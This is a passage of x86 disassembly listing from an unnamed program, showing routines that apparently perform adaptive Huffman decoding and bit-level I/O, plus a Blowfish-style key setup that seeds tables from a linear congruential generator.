XREF: sub_48EDD3+70j ; sub_48EDD3+97j mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jz short loc_48EE90 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_48F125 add esp, 0Ch mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_48EE90: ; CODE XREF: sub_48EDD3+A1j mov eax, [ebp+var_8] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+410h] mov [ebp+var_8], edx jmp loc_48EE01 ; --------------------------------------------------------------------------- loc_48EEA8: ; CODE XREF: sub_48EDD3+32j pop esi mov esp, ebp pop ebp retn sub_48EDD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48EEAD proc near ; CODE XREF: sub_48EDD3+1Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_0] mov ecx, [eax+408h] sub ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov [ebp+var_8], edx jmp short loc_48EED3 ; --------------------------------------------------------------------------- loc_48EECA: ; CODE XREF: sub_48EEAD:loc_48EF50j mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax loc_48EED3: ; CODE XREF: sub_48EEAD+1Bj cmp [ebp+var_8], 0 jl short loc_48EF55 mov ecx, [ebp+var_8] shl ecx, 4 mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx+414h], 0 jz short loc_48EF50 mov eax, [ebp+var_8] shl eax, 4 mov ecx, [ebp+arg_0] lea edx, [ecx+eax+40Ch] mov eax, [ebp+var_C] shl eax, 4 mov ecx, [ebp+arg_0] lea eax, [ecx+eax+40Ch] mov ecx, [edx] mov [eax], ecx mov ecx, [edx+4] mov [eax+4], ecx mov ecx, [edx+8] mov [eax+8], ecx mov edx, [edx+0Ch] mov [eax+0Ch], edx mov eax, [ebp+var_C] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+40Ch] add edx, 1 shr edx, 1 mov eax, [ebp+var_C] shl eax, 4 mov ecx, [ebp+arg_0] mov [ecx+eax+40Ch], edx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_48EF50: ; CODE XREF: sub_48EEAD+3Dj jmp loc_48EECA ; --------------------------------------------------------------------------- loc_48EF55: ; CODE XREF: sub_48EEAD+2Aj mov eax, [ebp+arg_0] mov ecx, [eax+408h] sub ecx, 2 mov [ebp+var_8], ecx jmp short loc_48EF78 ; --------------------------------------------------------------------------- loc_48EF66: ; CODE XREF: sub_48EEAD+1DAj mov edx, [ebp+var_8] sub edx, 2 mov [ebp+var_8], edx mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax loc_48EF78: ; CODE XREF: sub_48EEAD+B7j cmp [ebp+var_C], 0 jl loc_48F08C mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+var_8] shl edx, 4 mov eax, [ebp+var_10] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+edx+40Ch] mov ecx, [ebp+arg_0] add edx, [ecx+eax+40Ch] mov eax, [ebp+var_C] shl eax, 4 mov ecx, [ebp+arg_0] mov [ecx+eax+40Ch], edx mov edx, [ebp+var_C] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [eax+edx+40Ch] mov [ebp+var_4], ecx mov edx, [ebp+var_C] shl edx, 4 mov eax, [ebp+arg_0] mov dword ptr [eax+edx+414h], 0 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_48EFF6 ; --------------------------------------------------------------------------- loc_48EFED: ; CODE XREF: sub_48EEAD+15Ej mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_48EFF6: ; CODE XREF: sub_48EEAD+13Ej mov eax, [ebp+var_10] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ebp+var_4] cmp edx, [ecx+eax+40Ch] jnb short loc_48F00D jmp short loc_48EFED ; --------------------------------------------------------------------------- loc_48F00D: ; CODE XREF: sub_48EEAD+15Cj mov eax, [ebp+var_10] sub eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+var_10] sub ecx, [ebp+var_C] shl ecx, 4 push ecx ; Size mov edx, [ebp+var_C] add edx, 1 shl edx, 4 mov eax, [ebp+arg_0] lea ecx, [eax+edx+40Ch] push ecx ; Src mov edx, [ebp+var_C] shl edx, 4 mov eax, [ebp+arg_0] lea ecx, [eax+edx+40Ch] push ecx ; Dst call _memcpy_2 add esp, 0Ch mov edx, [ebp+var_10] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax+edx+40Ch], ecx mov edx, [ebp+var_10] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+edx+418h], ecx mov edx, [ebp+var_10] shl edx, 4 mov eax, [ebp+arg_0] mov dword ptr [eax+edx+414h], 0 jmp loc_48EF66 ; --------------------------------------------------------------------------- loc_48F08C: ; CODE XREF: sub_48EEAD+CFj mov ecx, [ebp+arg_0] mov edx, [ecx+408h] sub edx, 1 mov [ebp+var_8], edx jmp short loc_48F0A6 ; --------------------------------------------------------------------------- loc_48F09D: ; CODE XREF: sub_48EEAD:loc_48F11Cj mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax loc_48F0A6: ; CODE XREF: sub_48EEAD+1EEj cmp [ebp+var_8], 0 jl short loc_48F121 mov ecx, [ebp+var_8] shl ecx, 4 mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx+414h], 0 jz short loc_48F0E0 mov eax, [ebp+var_8] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+418h] mov [ebp+var_10], edx mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+eax*4], edx jmp short loc_48F11C ; --------------------------------------------------------------------------- loc_48F0E0: ; CODE XREF: sub_48EEAD+210j mov eax, [ebp+var_8] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+418h] mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 1 shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+eax+410h], edx mov eax, [ebp+var_10] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+eax+410h], edx loc_48F11C: ; CODE XREF: sub_48EEAD+231j jmp loc_48F09D ; --------------------------------------------------------------------------- loc_48F121: ; CODE XREF: sub_48EEAD+1FDj mov esp, ebp pop ebp retn sub_48EEAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F125 proc near ; CODE XREF: sub_48EDD3+AFp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] shl eax, 4 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax+414h], 0 jz short loc_48F159 mov edx, [ebp+arg_4] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [eax+edx+418h] mov edx, [ebp+arg_0] mov eax, [ebp+arg_8] mov [edx+ecx*4], eax jmp short loc_48F19C ; --------------------------------------------------------------------------- loc_48F159: ; CODE XREF: sub_48F125+17j mov ecx, [ebp+arg_4] shl ecx, 4 mov edx, [ebp+arg_0] mov eax, [edx+ecx+418h] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] mov [ecx+eax+410h], edx mov eax, [ebp+arg_4] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+418h] add edx, 1 shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov [eax+edx+410h], ecx loc_48F19C: ; CODE XREF: sub_48F125+32j mov edx, [ebp+arg_8] shl edx, 4 mov eax, [ebp+arg_0] cmp dword ptr [eax+edx+414h], 0 jz short loc_48F1CA mov ecx, [ebp+arg_8] shl ecx, 4 mov edx, [ebp+arg_0] mov eax, [edx+ecx+418h] mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov [ecx+eax*4], edx jmp short loc_48F20D ; --------------------------------------------------------------------------- loc_48F1CA: ; CODE XREF: sub_48F125+88j mov eax, [ebp+arg_8] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+418h] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov [eax+edx+410h], ecx mov edx, [ebp+arg_8] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [eax+edx+418h] add ecx, 1 shl ecx, 4 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov [edx+ecx+410h], eax loc_48F20D: ; CODE XREF: sub_48F125+A3j mov ecx, [ebp+arg_4] shl ecx, 4 mov edx, [ebp+arg_0] lea eax, [edx+ecx+40Ch] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [eax+4] mov [ebp+var_C], edx mov ecx, [eax+8] mov [ebp+var_8], ecx mov edx, [eax+0Ch] mov [ebp+var_4], edx mov eax, [ebp+arg_8] shl eax, 4 mov ecx, [ebp+arg_0] lea edx, [ecx+eax+40Ch] mov eax, [ebp+arg_4] shl eax, 4 mov ecx, [ebp+arg_0] lea eax, [ecx+eax+40Ch] mov ecx, [edx] mov [eax], ecx mov ecx, [edx+4] mov [eax+4], ecx mov ecx, [edx+8] mov [eax+8], ecx mov edx, [edx+0Ch] mov [eax+0Ch], edx mov eax, [ebp+arg_4] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+eax+410h], edx mov eax, [ebp+arg_8] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+410h] mov [ebp+var_C], edx mov eax, [ebp+arg_8] shl eax, 4 mov ecx, [ebp+arg_0] lea edx, [ecx+eax+40Ch] mov eax, [ebp+var_10] mov [edx], eax mov ecx, [ebp+var_C] mov [edx+4], ecx mov eax, [ebp+var_8] mov [edx+8], eax mov ecx, [ebp+var_4] mov [edx+0Ch], ecx mov esp, ebp pop ebp retn sub_48F125 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F2BB proc near ; CODE XREF: sub_48ED1D+AAp ; sub_48F4D9+E0p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [eax+408h] sub ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+408h] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+408h] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] mov ecx, [eax+408h] add ecx, 2 mov edx, [ebp+arg_0] mov [edx+408h], ecx mov eax, [ebp+var_8] shl eax, 4 mov ecx, [ebp+arg_0] lea edx, [ecx+eax+40Ch] mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+arg_0] lea eax, [ecx+eax+40Ch] mov ecx, [edx] mov [eax], ecx mov ecx, [edx+4] mov [eax+4], ecx mov ecx, [edx+8] mov [eax+8], ecx mov edx, [edx+0Ch] mov [eax+0Ch], edx mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+eax+410h], edx mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+eax+418h] mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax+edx*4], ecx mov edx, [ebp+var_8] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov [eax+edx+418h], ecx mov edx, [ebp+var_8] shl edx, 4 mov eax, [ebp+arg_0] mov dword ptr [eax+edx+414h], 0 mov ecx, [ebp+var_C] shl ecx, 4 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov [edx+ecx+418h], eax mov ecx, [ebp+var_C] shl ecx, 4 mov edx, [ebp+arg_0] mov dword ptr [edx+ecx+414h], 1 mov eax, [ebp+var_C] shl eax, 4 mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax+40Ch], 0 mov edx, [ebp+var_C] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+edx+410h], ecx mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+edx*4], ecx mov esp, ebp pop ebp retn sub_48F2BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F3E7 proc near ; CODE XREF: .text:0048D52Bp var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov byte_4F36B8, 0 push 0 mov eax, [ebp+arg_8] mov ecx, [eax] push ecx mov edx, [ebp+arg_0] push edx lea ecx, [ebp+var_18] call sub_48F5D0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_4] push ecx lea edx, [ebp+var_18] push edx call sub_48F434 add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax xor edx, edx mov dl, byte_4F36B8 mov eax, edx neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn sub_48F3E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F434 proc near ; CODE XREF: sub_48F3E7+2Dp var_2448 = dword ptr -2448h var_2444 = dword ptr -2444h var_2440 = byte ptr -2440h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 2448h call __alloca_probe_0 mov eax, [ebp+arg_4] mov [ebp+var_2444], eax mov ecx, [ebp+var_2444] add ecx, [ebp+arg_8] mov [ebp+var_4], ecx lea edx, [ebp+var_2440] push edx call sub_48EC28 add esp, 4 loc_48F465: ; CODE XREF: sub_48F434+96j mov eax, [ebp+var_2444] cmp eax, [ebp+var_4] jnb short loc_48F4CC mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+var_2440] push edx call sub_48F4D9 add esp, 8 mov [ebp+var_2448], eax cmp [ebp+var_2448], 100h jnz short loc_48F497 jmp short loc_48F4CC ; --------------------------------------------------------------------------- loc_48F497: ; CODE XREF: sub_48F434+5Fj mov eax, [ebp+var_2444] mov cl, byte ptr [ebp+var_2448] mov [eax], cl mov edx, [ebp+var_2444] add edx, 1 mov [ebp+var_2444], edx mov eax, [ebp+var_2448] push eax lea ecx, [ebp+var_2440] push ecx call sub_48EDD3 add esp, 8 jmp short loc_48F465 ; --------------------------------------------------------------------------- loc_48F4CC: ; CODE XREF: sub_48F434+3Aj ; sub_48F434+61j mov eax, [ebp+var_2444] sub eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_48F434 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F4D9 proc near ; CODE XREF: sub_48F434+47p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 loc_48F4E6: ; CODE XREF: sub_48F4D9+AAj mov eax, [ebp+var_8] shl eax, 4 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax+414h], 0 jnz loc_48F588 mov edx, [ebp+var_8] shl edx, 4 mov eax, [ebp+arg_0] mov ecx, [eax+edx+418h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [edx+0Ch] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+14h] and ecx, eax neg ecx sbb ecx, ecx neg ecx mov byte ptr [ebp+var_C], cl mov ecx, [ebp+arg_4] mov dl, [ecx+14h] shr dl, 1 mov eax, [ebp+arg_4] mov [eax+14h], dl mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+14h] test edx, edx jnz short loc_48F572 mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] add ecx, 1 mov edx, [ebp+arg_4] mov [edx+0Ch], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov edx, [eax+0Ch] cmp edx, [ecx+10h] jb short loc_48F56B mov eax, [ebp+arg_4] mov byte ptr [eax+15h], 1 loc_48F56B: ; CODE XREF: sub_48F4D9+89j mov ecx, [ebp+arg_4] mov byte ptr [ecx+14h], 80h loc_48F572: ; CODE XREF: sub_48F4D9+6Cj mov edx, [ebp+var_C] and edx, 0FFh mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax jmp loc_48F4E6 ; --------------------------------------------------------------------------- loc_48F588: ; CODE XREF: sub_48F4D9+1Ej mov ecx, [ebp+var_8] shl ecx, 4 mov edx, [ebp+arg_0] mov eax, [edx+ecx+418h] mov [ebp+var_4], eax cmp [ebp+var_4], 101h jnz short loc_48F5C1 push 8 mov ecx, [ebp+arg_4] call sub_48F67C mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_48F2BB add esp, 8 loc_48F5C1: ; CODE XREF: sub_48F4D9+C9j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_48F4D9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F5D0 proc near ; CODE XREF: sub_48EAE0+1Bp ; sub_48F3E7+1Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+16h], cl mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+16h] test ecx, ecx jz short loc_48F607 mov edx, [ebp+var_4] mov eax, [edx+0Ch] mov byte ptr [eax], 0 loc_48F607: ; CODE XREF: sub_48F5D0+2Cj mov ecx, [ebp+var_4] mov edx, [ecx+8] add edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [eax+10h], edx mov ecx, [ebp+var_4] mov byte ptr [ecx+15h], 0 mov edx, [ebp+var_4] mov byte ptr [edx+14h], 80h mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] mov [eax], edx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov dl, [ecx+14h] mov [eax+4], dl mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_48F5D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F644 proc near ; CODE XREF: sub_48EAE0+48p ; sub_48EAE0+57p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov [ebp+var_4], 0 loc_48F654: ; CODE XREF: sub_48F644+2Dj mov eax, [ebp+arg_0] and eax, 0FFh test eax, eax jz short loc_48F673 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov dl, byte ptr [ebp+arg_0] shr dl, 1 mov byte ptr [ebp+arg_0], dl jmp short loc_48F654 ; --------------------------------------------------------------------------- loc_48F673: ; CODE XREF: sub_48F644+1Aj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_48F644 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F67C proc near ; CODE XREF: sub_48F4D9+D0p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] sub ecx, 1 mov eax, 1 shl eax, cl mov [ebp+var_8], eax loc_48F69C: ; CODE XREF: sub_48F67C+AAj cmp [ebp+var_8], 0 jz loc_48F72B mov ecx, [ebp+var_10] mov edx, [ecx+0Ch] xor eax, eax mov al, [edx] mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx+14h] and eax, edx neg eax sbb eax, eax neg eax mov byte ptr [ebp+var_C], al mov eax, [ebp+var_10] mov cl, [eax+14h] shr cl, 1 mov edx, [ebp+var_10] mov [edx+14h], cl mov eax, [ebp+var_10] xor ecx, ecx mov cl, [eax+14h] test ecx, ecx jnz short loc_48F708 mov edx, [ebp+var_10] mov eax, [edx+0Ch] add eax, 1 mov ecx, [ebp+var_10] mov [ecx+0Ch], eax mov edx, [ebp+var_10] mov eax, [ebp+var_10] mov ecx, [edx+0Ch] cmp ecx, [eax+10h] jb short loc_48F701 mov edx, [ebp+var_10] mov byte ptr [edx+15h], 1 loc_48F701: ; CODE XREF: sub_48F67C+7Cj mov eax, [ebp+var_10] mov byte ptr [eax+14h], 80h loc_48F708: ; CODE XREF: sub_48F67C+5Fj mov ecx, [ebp+var_C] and ecx, 0FFh test ecx, ecx jz short loc_48F71E mov edx, [ebp+var_4] or edx, [ebp+var_8] mov [ebp+var_4], edx loc_48F71E: ; CODE XREF: sub_48F67C+97j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax jmp loc_48F69C ; --------------------------------------------------------------------------- loc_48F72B: ; CODE XREF: sub_48F67C+24j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_48F67C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F734 proc near ; CODE XREF: sub_48ED1D+83p ; sub_48ED1D+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov ecx, [ebp+arg_4] sub ecx, 1 mov eax, 1 shl eax, cl mov [ebp+var_4], eax loc_48F74D: ; CODE XREF: sub_48F734+A7j cmp [ebp+var_4], 0 jz loc_48F7E0 mov ecx, [ebp+arg_0] and ecx, [ebp+var_4] neg ecx sbb ecx, ecx neg ecx and ecx, 0FFh test ecx, ecx jz short loc_48F783 mov edx, [ebp+var_8] mov eax, [edx+0Ch] mov ecx, [ebp+var_8] mov dl, [eax] or dl, [ecx+14h] mov eax, [ebp+var_8] mov ecx, [eax+0Ch] mov [ecx], dl loc_48F783: ; CODE XREF: sub_48F734+37j mov edx, [ebp+var_8] mov al, [edx+14h] shr al, 1 mov ecx, [ebp+var_8] mov [ecx+14h], al mov edx, [ebp+var_8] xor eax, eax mov al, [edx+14h] test eax, eax jnz short loc_48F7D3 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] add edx, 1 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx+0Ch] cmp eax, [edx+10h] jb short loc_48F7C3 mov ecx, [ebp+var_8] mov byte ptr [ecx+15h], 1 jmp short loc_48F7CC ; --------------------------------------------------------------------------- loc_48F7C3: ; CODE XREF: sub_48F734+84j mov edx, [ebp+var_8] mov eax, [edx+0Ch] mov byte ptr [eax], 0 loc_48F7CC: ; CODE XREF: sub_48F734+8Dj mov ecx, [ebp+var_8] mov byte ptr [ecx+14h], 80h loc_48F7D3: ; CODE XREF: sub_48F734+67j mov edx, [ebp+var_4] shr edx, 1 mov [ebp+var_4], edx jmp loc_48F74D ; --------------------------------------------------------------------------- loc_48F7E0: ; CODE XREF: sub_48F734+1Dj mov esp, ebp pop ebp retn 8 sub_48F734 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F7F0 proc near ; DATA XREF: sub_4B45FB+181o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push 1048h call sub_4C85E1 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call sub_48F82B add esp, 10h mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_48F7F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_48F82B proc near ; CODE XREF: sub_48F7F0+2Cp var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0C4h push esi mov [ebp+var_58], 243F6A88h mov [ebp+var_54], 85A308D3h mov [ebp+var_50], 13198A2Eh mov [ebp+var_4C], 3707344h mov [ebp+var_48], 0A4093822h mov [ebp+var_44], 299F31D0h mov [ebp+var_40], 82EFA98h mov [ebp+var_3C], 0EC4E6C89h mov [ebp+var_38], 452821E6h mov [ebp+var_34], 38D01377h mov [ebp+var_30], 0BE5466CFh mov [ebp+var_2C], 34E90C6Ch mov [ebp+var_28], 0C0AC29B7h mov [ebp+var_24], 0C97C50DDh mov [ebp+var_20], 3F84D5B5h mov [ebp+var_1C], 0B5470917h mov [ebp+var_18], 9216D5D9h mov [ebp+var_14], 8979FB1Bh mov [ebp+var_10], 0 jmp short loc_48F8C5 ; --------------------------------------------------------------------------- loc_48F8BC: ; CODE XREF: sub_48F82B+B4j mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_48F8C5: ; CODE XREF: sub_48F82B+8Fj cmp [ebp+var_10], 12h jge short loc_48F8E1 mov ecx, [ebp+var_10] mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov eax, [ebp+eax*4+var_58] mov [edx+ecx*4+1000h], eax jmp short loc_48F8BC ; --------------------------------------------------------------------------- loc_48F8E1: ; CODE XREF: sub_48F82B+9Ej mov ecx, [ebp+arg_C] mov [ebp+var_8], ecx mov [ebp+var_10], 0 jmp short loc_48F8F9 ; --------------------------------------------------------------------------- loc_48F8F0: ; CODE XREF: sub_48F82B:loc_48FC69j mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_48F8F9: ; CODE XREF: sub_48F82B+C3j cmp [ebp+var_10], 4 jge loc_48FC6E mov [ebp+var_5C], 0 jmp short loc_48F915 ; --------------------------------------------------------------------------- loc_48F90C: ; CODE XREF: sub_48F82B+439j mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_48F915: ; CODE XREF: sub_48F82B+DFj cmp [ebp+var_5C], 100h jge loc_48FC69 mov [ebp+var_88], 100h mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_7C], eax mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_78], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_84], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_80], edx mov ecx, [ebp+var_78] imul ecx, [ebp+var_80] mov edx, [ebp+var_7C] imul edx, [ebp+var_80] mov eax, [ebp+var_78] imul eax, [ebp+var_84] add eax, edx xor edx, edx mov esi, 2710h div esi mov eax, edx imul eax, 2710h add eax, ecx xor edx, edx mov ecx, 5F5E100h div ecx mov eax, edx add eax, 1 xor edx, edx mov ecx, 5F5E100h div ecx mov [ebp+var_8], edx mov eax, [ebp+var_8] xor edx, edx mov ecx, 2710h div ecx imul eax, [ebp+var_88] xor edx, edx mov ecx, 2710h div ecx and eax, 0FFh mov [ebp+var_74], eax mov [ebp+var_9C], 100h mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_90], eax mov eax, [ebp+var_8] cdq mov ecx, 2710h idiv ecx mov [ebp+var_8C], edx mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_98], eax mov eax, 1DF5E0Dh cdq mov ecx, 2710h idiv ecx mov [ebp+var_94], edx mov ecx, [ebp+var_8C] imul ecx, [ebp+var_94] mov edx, [ebp+var_90] imul edx, [ebp+var_94] mov eax, [ebp+var_8C] imul eax, [ebp+var_98] add eax, edx xor edx, edx mov esi, 2710h div esi mov 